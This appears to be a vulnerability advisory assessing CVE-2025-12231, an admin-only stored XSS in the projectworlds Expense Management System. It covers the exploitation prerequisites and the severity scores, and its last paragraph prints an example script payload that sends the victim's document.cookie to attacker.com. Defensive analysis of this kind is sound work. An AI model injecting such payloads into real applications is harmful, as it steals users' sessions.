projectworlds Expense Management System CVE-2025-12231

Successful exploitation requires three specific conditions: (1) An attacker must hold administrator-level privileges (PR:H in CVSS vector) to access the /public/admin/expense_categories/create endpoint; this is not a public-facing vulnerability but an admin-only function. (2) The attacker must successfully submit a request containing unencoded script payloads that persist in the database without sanitization. (3) A victim user must subsequently navigate to or render a page that displays the poisoned expense category data, triggering script execution in their browser context (UI:P - user interaction required). Exploitation is NOT possible against unauthenticated users, via the public-facing application, or without the victim viewing the affected content. These strict prerequisites substantially limit real-world risk compared to a remote unauthenticated XSS.

Despite the CVSS 4.0 score of 1.9 (indicating low severity), multiple risk indicators suggest even lower real-world priority. CVSS vector AV:N/AC:L allows remote delivery but requires PR:H (administrator privileges) and UI:P (user interaction on victim side), substantially reducing practical exploitability. EPSS score of 0.03% (9th percentile) confirms minimal exploitation probability in the wild. The CVE is not listed on CISA KEV (no confirmation of active exploitation), and although public exploit code exists on GitHub, the strict authentication barrier (admin-only) and required victim interaction make this a low-risk vulnerability suitable for standard patching cycles rather than emergency response. The primary concern is insider threat or compromised admin accounts misusing this vector.

An attacker with stolen or legitimate administrator credentials logs into the Expense Management System, navigates to the Expense Categories creation page, and injects a malicious script payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the category name or description field. The payload is stored in the database. When other users (finance managers or employees) view the expense categories list in their dashboard, the stored script executes in their browser context, potentially stealing session cookies or redirecting them to phishing pages. Success requires both admin account compromise and victim access to the categories list.